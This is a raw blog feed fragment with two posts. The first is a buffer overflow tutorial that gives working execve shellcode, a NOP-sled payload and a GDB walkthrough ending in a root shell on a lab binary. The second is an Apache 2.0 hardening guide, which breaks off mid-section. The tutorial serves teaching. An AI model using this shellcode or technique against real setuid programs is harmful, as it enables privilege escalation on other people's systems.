/&gt;Note, if you are using Ubuntu as your OS, when compiling you must use these arguments for GCC:&lt;br /&gt;CODE&lt;br /&gt;&lt;blockquote&gt;-fno-stack-protector -z execstack&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The first disables stack protection, the second allows the stack to be executed.&lt;br /&gt;&lt;br /&gt;This code is not too complicated, I’m only going to stay basic with this article. In this example we have a 1024 byte buffer, with the very insecure copy() function shown above. This function uses the strcpy() function included in the string.h header, which if gone unchecked, will forcibly copy any size string from source to destination. As you have probably figured, this is not good at all, allowing anyone to overflow the buffer array. Let's get started with this simple vulnerability.&lt;br /&gt;&lt;br /&gt;Here is the format in which you need to sort your shellcode, garbage data, and return address:&lt;br /&gt;CODE&lt;br /&gt;&lt;blockquote&gt;[ GARBAGE DATA ] -&gt; [ NOP ] -&gt; [ SHELLCODE ] -&gt; [ RET ]&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We now need to calculate the amount needed for each field, excluding the return address which is always 4 bytes.&lt;br /&gt;&lt;br /&gt;Our buffer size is 1024 bytes, so we need to find out how much garbage data we’re going to need. Just for safe measure we’re going to use 150 NOP’s, so if we are off on the return address, we have a higher chance of hitting the sled.&lt;br /&gt;&lt;br /&gt;1024 - 150 = 874&lt;br /&gt;&lt;br /&gt;The example shellcode is 22 bytes.&lt;br /&gt;&lt;br /&gt;874 - 22 = 852&lt;br /&gt;&lt;br /&gt;The EIP needs to be overwritten so we are going to add 4 bytes.&lt;br /&gt;&lt;br /&gt;852 + 4 = 856&lt;br /&gt;&lt;br /&gt;Before we get started writing statements to exploit this application, I want to point this out:&lt;br /&gt;CODE&lt;br /&gt;&lt;blockquote&gt;delusion@deLusive:~/code/overflow$ ls -l&lt;br /&gt;total 16&lt;br /&gt;&lt;br /&gt;-rwxr-xr-x 1 root root 11997 2009-04-12 13:03 vuln&lt;br /&gt;&lt;br /&gt;-rw-r--r-- 1 root root   212 2009-04-12 13:03 vuln.c&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;The owner of the file is root, so this application will be running with root privileges, simulating the effect of a real-world service being attacked by a buffer overflow exploit.&lt;br /&gt;&lt;br /&gt;Moving onto the actual exploitation, we now know how much garbage data we’re going to use to fill most of the buffer. Let’s write a quick perl statement to do this all for us in GDB, standing for the GNU DeBugger.&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;blockquote&gt;perl –e’print “A”x856,”\x90”x150,”\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80”,”YYYY”’&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now we’re ready to use GDB to debug this. I set YYYY as the return address temporarily for debugging purposes.&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;blockquote&gt;delusion@deLusive:~/code/overflow$ gdb vuln -q&lt;br /&gt;(gdb) run `perl -e'print "A"x856,"\x90"x150, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","YYYY"'`&lt;br /&gt;Starting program: /home/delusion/code/overflow/vuln `perl -e'print "A"x856,"\x90"x150, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","YYYY"'`&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x59595959 in ?? ()&lt;blockquote&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You might have been able to spot something all ready. 0x59 is hex for Y, which is what has corrupted the EIP. Let’s take a look at the registers.&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;blockquote&gt;(gdb) i r&lt;br /&gt;eax            0x1      1&lt;br /&gt;ecx            0xbfffeb38       -1073747144&lt;br /&gt;edx            0x409    1033&lt;br /&gt;ebx            0xb7fc1ff4       -1208213516&lt;br /&gt;esp            0xbfffef40       0xbfffef40&lt;br /&gt;ebp            0x80cde189       0x80cde189&lt;br /&gt;esi            0xb8000ce0       -1207956256&lt;br /&gt;edi            0x0      0&lt;br /&gt;eip            0x59595959       0x59595959&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As you see, the EIP was overwritten with 4 bytes of ‘Y’, now we need to find out the general location of the NOP sled to get an approximate return address.&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;(gdb) x/200xb $esp&lt;br /&gt;……&lt;br /&gt;0xbffff4b8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;br /&gt;0xbffff4c0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;br /&gt;0xbffff4c8:     0x41    0x41    0x41    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff4d0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff4d8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff4e0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff4e8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff4f0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff4f8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff500:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff508:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff510:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff518:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff520:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff528:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff530:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff538:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff540:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff548:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff550:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff558:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff560:     0x90    0xb0    0x0b    0x99    0x52    0x68    0x2f    0x2f&lt;br /&gt;0xbffff568:     0x73    0x68    0x68    0x2f    0x62    0x69    0x6e    0x89&lt;br /&gt;0xbffff570:     0xe3    0x52    0x53    0x89    0xe1    0xcd    0x80    0x59&lt;br /&gt;0xbffff578:     0x59    0x59    0x59    0x00    0x43    0x50    0x4c    0x55&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Notice where the NOP’s end. The first byte of data after is 0xb0, the beginning of our shellcode. The best thing to do is to get a return address to use towards the middle; I’ll use 0xbffff4f0 for this example. The x86 architecture is in Little-Endian format, which is always a good thing to remember. This means that the least significant bytes are read first, so you need to reverse that memory address. Your return address is now going to be:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;\xf0\xf4\xff\xbf&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now you are all set and ready to go to initiate this attack on the vulnerable application.&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;(gdb) run `perl -e'print "A"x856,"\x90"x150, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\xf0\xf4\xff\xbf"'`&lt;br /&gt;The program being debugged has been started already.&lt;br /&gt;Start it from the beginning? (y or n) y&lt;br /&gt;&lt;br /&gt;Starting program: /home/delusion/code/overflow/vuln `perl -e'print "A"x856,"\x90"x150, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\xf0\xf4\xff\xbf"'`&lt;br /&gt;Executing new program: /bin/bash&lt;br /&gt;(no debugging symbols found)&lt;br /&gt;(no debugging symbols found)&lt;br /&gt;(no debugging symbols found)&lt;br /&gt;(no debugging symbols found)&lt;br /&gt;(no debugging symbols found)&lt;br /&gt;(no debugging symbols found)&lt;br /&gt;(no debugging symbols found)&lt;br /&gt;(no debugging symbols found)&lt;br /&gt;(no debugging symbols found)&lt;br /&gt;sh-3.1# whoami&lt;br /&gt;root&lt;br /&gt;sh-3.1# id&lt;br /&gt;uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),17(au&lt;br /&gt;dio),18(video),19(cdrom),26(tape),83(plugdev)&lt;br /&gt;sh-3.1#&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now that wasn’t too hard, was it?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;reference:r00tsecurity...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-208638290174520773?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/208638290174520773/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/buffer-overflows-explained-rev-41209-by.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/208638290174520773'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/208638290174520773'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/buffer-overflows-explained-rev-41209-by.html' title='Buffer Overflows Explained [Rev. A - 4/12/09] By: deLusion`'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3557530429844795964</id><published>2009-07-28T05:56:00.000-07:00</published><updated>2009-07-28T05:58:38.704-07:00</updated><title type='text'>Apache 2.0 Hardening Guide</title><content type='html'>Technical Reference: Apache 2.0 DMZ Secure Server Install&lt;br /&gt;Overview&lt;br /&gt;&lt;br /&gt;This document is a guide to installing and hardening an Apache 2.0 web server to common security standards.  It will guide you through practical measures to harden your Apache server, by way of example.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Because a web server is often placed at the edge of the network, it is one of the most vulnerable services to attack.  Therefore, it’s vital that you follow this guide to ensure that:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;1)      The opportunity to compromise the web server is limited&lt;br /&gt;&lt;br /&gt;2)      Should the web server be compromised, the damage potential to the rest of the network, data, and systems is limited.&lt;br /&gt;1. Prepare the host operating system&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;1.1 Install and secure the host operating system.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Follow the hardening guidelines in the The Center for Internet Security.  Hardening the host O/S ensures that, should someone compromise the security of your web server, the amount of damage that they could inflict will be minimized.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;1.2 Create the directories to hold the Apache files&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;It’s important to separate the binaries /bin, docs (/htdocs), and logs (/logs) into separate partitions on the system.  You can choose whatever root you want, but this example will use /opt/apache2 as the root directory for the Apache web server.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;1.3 Create the host groups for administering and running the server.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Create a distinct group for all the users who will have permission to change the configuration, start, and stop the web server.  For example, if you want to call the group “webadmin”, create it like this:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;# groupadd webadmin&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Create a distinct group for the web server user – no one will actually log into this group, but it will only be used to hold the userid which will run the web server.  For example, if you want to call that group “webserv”, create it like this:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;# groupadd webserv&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Take note that you should not create a “web developer” group on this host.  Since this is a hardened production host you must not provide web developers login accounts on this system.  Instead, developers should deploy documents and code to the server using your code/content deployment system, such as Kintana’s Apps*Integrity.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;1.4 Create an unprivileged host user id to run the server.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Never run the web server as root; if the web server is ever compromised, the attacker will have complete control over the system.  Instead, the best way to reduce your exposure to attack when running a web server is to create a unique unprivileged userid for the server application. The userid nobody is often used for this purpose, but a userid and group that are unique to the web server is a more secure solution.&lt;br /&gt;&lt;br /&gt;By default the web server uses privileged  ports (port 80 and 443) and, when configured for secure operation, must have root privileges to open its log files and start the dæmon.  (Therefore, the web server daemon will have to be started as “root”, unless you configure it to use a port higher than 1024.)  Once the server's startup tasks are complete, all active instances can run as the unprivileged user.&lt;br /&gt;&lt;br /&gt;Use the following command line entries as patterns for creating a group and user for the web server.  Here’s an example if you were to use “webserv” as the user:&lt;br /&gt;&lt;br /&gt;# useradd -d /opt/apache2/htdocs -g webserv -c "Web Server" webserv&lt;br /&gt;1.5 Lock down the web server account&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;It’s important that no one can successfully execute a password guessing attack against this account, so in this step, we’ll restrict this account so that no one can log into it.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;1.5.1 Issue this command to lock the password for the web server account:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;# passwd –l webserv&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Password changed.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;1.5.2 To be sure the account is locked, issue the command:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;# grep webserv /etc/shadow&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;…a :!: at the beginning of the line indicates that the password is locked.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;1.5.3 Issue this command to remove the shell for this account:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;# usermod –s /bin/false webserv&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;1.5.4 To be sure the account is locked, issue the command:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;# grep webserv /etc/passwd&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;…/bin/false at the end of the line indicates that the shell is set to a non-existent shell.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;1.5.5 Test the web server account to be sure you can’t login.  Issue this command to try to log in:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&gt; login webserv&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;2. Download and verify Apache source code&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;By default, web servers return information about the product and version they are running in the Server variable of the HTTP header.  This information can be very useful to hackers, enabling them to target attacks to that specific server.  To prevent that information from being returned from the web server, this step shows you how to modify that header and build your own copy of the web server.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Because web servers often host sensitive information, or allow users to log in with plain-text passwords, it’s important to encrypt the HTTP traffic.  Therefore, this section will show you how to configure mod_ssl on your web server.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Note:  Don’t build the web server on your production, hardened host.  Build it on a staging or development server (with identical O/S), and then copy it to your production host.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;These steps will guide you through downloading Apache source code, validating it, compiling it, and installing it.  We don’t recommend use of pre-compiled or DSO versions.  DSO versions may allow a hacker to introduce new “features” without having to recompile the code.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;If you intend to add other module to your Apache web server installation, repeat the validation steps below for each module you add.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;2.1 Download the latest version of Apache 2.0&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Ensure that you retrieve the latest copy, so that you have cumulative bug fixes and security patches.  You can download it from the Apache site.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;From here, download four files:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;1) The Apache source code itself, called something like httpd-2.0.45.tar.gz.&lt;br /&gt;&lt;br /&gt;2) The PGP keys for the Apache signers: a file named “KEYS”&lt;br /&gt;&lt;br /&gt;3) The PGP key for this source distribution, called something like httpd-2.0.45.tar.gz.asc&lt;br /&gt;&lt;br /&gt;4) The MD5 checksum for this source distribution, called something like httpd-2.0.45.tar.gz.md5&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;wget http://www.apache.org/dist/httpd/httpd-2.0.45.tar.gz&lt;br /&gt;&lt;br /&gt;wget http://www.apache.org/dist/httpd/KEYS&lt;br /&gt;&lt;br /&gt;wget http://www.apache.org/dist/httpd/httpd-2.0.45.tar.gz.asc&lt;br /&gt;&lt;br /&gt;wget http://www.apache.org/dist/httpd/httpd-2.0.45.tar.gz.md5&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;2.2 Verify PGP signature for the Apache source&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;To ensure that you have an authentic version from the Apache Group, and that it’s not been tampered with (remember, there are many mirrors from which you can download the Apache source), you should check the PGP signature.  If you don’t have PGP installed on this server, you can validate these files on another machine.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;a)      If you don’t already have them in your PGP keyring, import the public keys from the Apache Group into your keyring:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; pgp –ka KEYS&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;b)      Check the PGP signature:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; pgp httpd_2.0.45.tar.gz&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;…if the signature is correct, you should get something similar to this:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;-- CUT --&lt;br /&gt;&lt;br /&gt;File 'httpd-2.0.45.tar.gz.asc' has signature, but with no text.&lt;br /&gt;&lt;br /&gt;Text is assumed to be in file 'httpd-2.0.45.tar.gz'.&lt;br /&gt;&lt;br /&gt;Good signature from user "Justin R. Erenkrantz &lt;justin@erenkrantz.com&gt;".&lt;br /&gt;&lt;br /&gt;Signature made 2003/03/31 07:49 GMT&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;WARNING:  Because this public key is not certified with a trusted signature, it is not known with high confidence that this public key actually belongs to: "Justin R. Erenkrantz &lt;justin@erenkrantz.com&gt;".&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;The fact that it says, “Good Signature from…” is what we’re looking for here.  The WARNING statement indicates that we’ve not verified this signature with a 3rd party, which is ok here.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;2.3 Verify the MD5 checksum for the Apache source.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;MD5 is a way to validate the integrity of the file itself, much more reliable than checksum and similar methods.  Normally, mismatches in the MD5 checksum from the Apache source are the result of download errors or file corruption.  If you don’t have MD5 on your system, you can download it from here.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Compare the results of these two commands – visually inspect them to ensure they match (if they don’t, download it again):&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; pwd&lt;br /&gt;&lt;br /&gt;/usr/local/build&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; cat httpd-2.0.45.tar.gz.md5&lt;br /&gt;&lt;br /&gt;MD5 (httpd-2.0.45.tar.gz) = 1f33e9a2e2de06da190230fa72738d75&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; md5 apache_1.3.27.tar.gz&lt;br /&gt;&lt;br /&gt;MD5 (httpd-2.0.45.tar.gz) = 1f33e9a2e2de06da190230fa72738d75&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;2.4 Extract the zipped Apache source file.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Finally, you need to unzip and untar the source file.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; /pwd&lt;br /&gt;&lt;br /&gt;/usr/local/build&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; tar xvfz httpd-2.0.45.tar.gz&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;This will create a new directory under your current one, named “httpd-2.0.45”.&lt;br /&gt;3. Create SSL certificates&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;SSL support requires an SSL library on your system, such as OpenSSL.  If you’re not sure how to find and install it, look at the Apache 1.3 hardening guide.  This section will walk you through configuring your SSL certificate for encrypting your HTTP traffic.  It will help you build a validated certificate and install it on your web server.  We’ll add the configured certificates to the Apache configuration in the next step.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;3.1 Create a key and certificate request for your web server&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Using OpenSSL, the following command will create a 1024-bit private key named, “private.key” and generate a certificate signing request (CSR).  You need to have the CSR signed by a Certificate Authority (CA) who can validate your identity. When prompted to input information, note the answers in bold print below.  (Answer the prompts with the information relevant for your server, of course).&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Note:  If you provide a challenge password, you will be unable to start the web server unattended.  We don’t recommend providing a challenge password, just leave it blank.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; pwd&lt;br /&gt;&lt;br /&gt;/usr/local/build&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; openssl req -nodes -newkey rsa:1024 -keyout /usr/local/build/server.key -out /usr/local/build/server.crt&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Using configuration from /usr/share/ssl/openssl.cnf&lt;br /&gt;&lt;br /&gt;Generating a 1024 bit RSA private key&lt;br /&gt;&lt;br /&gt;................++++++&lt;br /&gt;&lt;br /&gt;.......++++++&lt;br /&gt;&lt;br /&gt;writing new private key to 'server.key'&lt;br /&gt;&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt;You are about to be asked to enter information that will be incorporated into your certificate request.&lt;br /&gt;&lt;br /&gt;What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;&lt;br /&gt;There are quite a few fields but you can leave some blank&lt;br /&gt;&lt;br /&gt;For some fields there will be a default value,&lt;br /&gt;&lt;br /&gt;If you enter '.', the field will be left blank.&lt;br /&gt;&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt;Country Name (2 letter code) [AU]:US&lt;br /&gt;&lt;br /&gt;State or Province Name (full name) [Some-State]:NC        &lt;br /&gt;&lt;br /&gt;Locality Name (eg, city) []:RTP&lt;br /&gt;&lt;br /&gt;Organization Name (eg, company):XianCo Systems, Inc.&lt;br /&gt;&lt;br /&gt;Organizational Unit Name (eg, section) []:InfoSec&lt;br /&gt;&lt;br /&gt;Common Name (eg, YOUR name) []:xianshield.xianco.com&lt;br /&gt;&lt;br /&gt;Email Address []:webmaster@xianshield.xianco.com&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Please enter the following 'extra' attributes&lt;br /&gt;&lt;br /&gt;to be sent with your certificate request&lt;br /&gt;&lt;br /&gt;A challenge password []: &lt;blank&gt;&lt;br /&gt;&lt;br /&gt;An optional company name []: &lt;blank&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Most importantly, make sure your “Common Name” above matches the DNS name of your server.  The locale information is less important, but we think it’s best to use the locality of the server itself.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;3.2. Submit CSR for validation/signing by a CA.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Next, you need to submit your CSR for signing by a CA.  This will eliminate the “warning dialog” that a browser will pop up when a user accesses your site.  This is because the user’s browser has a set of trusted CAs that will prevent you from being notified if the web server’s site certificate is signed by a CA you’ve trusted in your browser already (such as Verisign or DST).  In this example, we will submit the request to your company’s CA for signing.  (You can use another CA if you want).&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Send your request for a certificate to the CA.  Include your name, your web server (Apache, in this case) your OS, and of course, the .csr (certificate signing request).&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;3.3   Rename your certificate files&lt;br /&gt;&lt;br /&gt;The names aren’t important, they just have to match what’s in conf/ssl.conf.  You will receive 2 files from the PKI team.  The first file will be your server certificate (and will probably be named &lt;server name&gt;.cer), the 2nd file is the certificate chain.  Here, we’ll rename them to fit what’s specified in conf/ssl.conf.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;mv “XianCo CA (01-03).cer” ca.crt&lt;br /&gt;&lt;br /&gt;mv xianshield.cer server.crt&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;3.4  Copy certificates to your server.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Since you received these certs via email, and they’re now sitting on your laptop, we need to copy both server.crt and ca.crt to the server.  We’ll copy them up to /usr/local/build.  We’ll move them both to the appropriate locations under conf/ssl.conf later.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;scp *.crt xianshield:/usr/local/build/.&lt;br /&gt;&lt;br /&gt;           &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;4. Configure and build the Apache Server&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;In this section, we’ll configure Apache with SSL and mod_ldap support.  As of Apache V2, these are both included modules, and don’t require a separate download.&lt;br /&gt; &lt;br /&gt;In order to customize Apache to the extent necessary, we need to download the source for the latest version of Apache.  Once that’s complete, we’ll configure and test it.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;4.1 Alter the Apache version&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;We want to remove/modify the default HTTP response header parameter for the “Server:” token to hide the identity of our web server.  (You’d be surprised how many vulnerability scanners are looking for specific versions of Apache.)  To do this, we must open a header file (httpd.h) prior to compiling the server.  To do this, edit the ap_release.h file located in ${ApacheSrcDir}/include&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; pwd&lt;br /&gt;&lt;br /&gt;/usr/local/build/httpd-2.0.45/include&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; vi ap_release.h&lt;br /&gt;&lt;br /&gt;…&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#define AP_SERVER_BASEVENDOR "Apache Software Foundation" ß Change this…&lt;br /&gt;&lt;br /&gt;#define AP_SERVER_BASEPRODUCT "Apache"                 ß and this&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;These are the lines you want to change; change these to remove references to Apache.  We’ll hide the actual version using the ServerTokens directive in the httpd.conf file. &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#define SERVER_BASEVENDOR   "Network Services"&lt;br /&gt;&lt;br /&gt;#define SERVER_BASEPRODUCT  "Networks, Inc."&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;4.2 Configure Apache software for compilation&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;There are a few standard modules that should be disabled when you set up the Apache web server. &lt;br /&gt;Modules to disable&lt;br /&gt;&lt;br /&gt;Generally, the following modules make it easier to configure/support your web server but also give too much information to attackers.  We recommend that you disable the following default modules for your production server:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;*      info: gives out too much information about your web server to potential attackers.&lt;br /&gt;&lt;br /&gt;*      status: gives out server stats via web pages&lt;br /&gt;&lt;br /&gt;*      autoindex: provides directory listings when no index.html file is present&lt;br /&gt;&lt;br /&gt;*      imap: provides server-side mapping of index files&lt;br /&gt;&lt;br /&gt;*      include: provides server-side includes (.shtml files)&lt;br /&gt;&lt;br /&gt;*      userdir: translates URLs to user-specific directories&lt;br /&gt;&lt;br /&gt;*      auth: you won’t need it – you’ll set up authentication against LDAP via mod_ldap&lt;br /&gt;Modules to enable&lt;br /&gt;&lt;br /&gt;Here are two modules that will provide strong 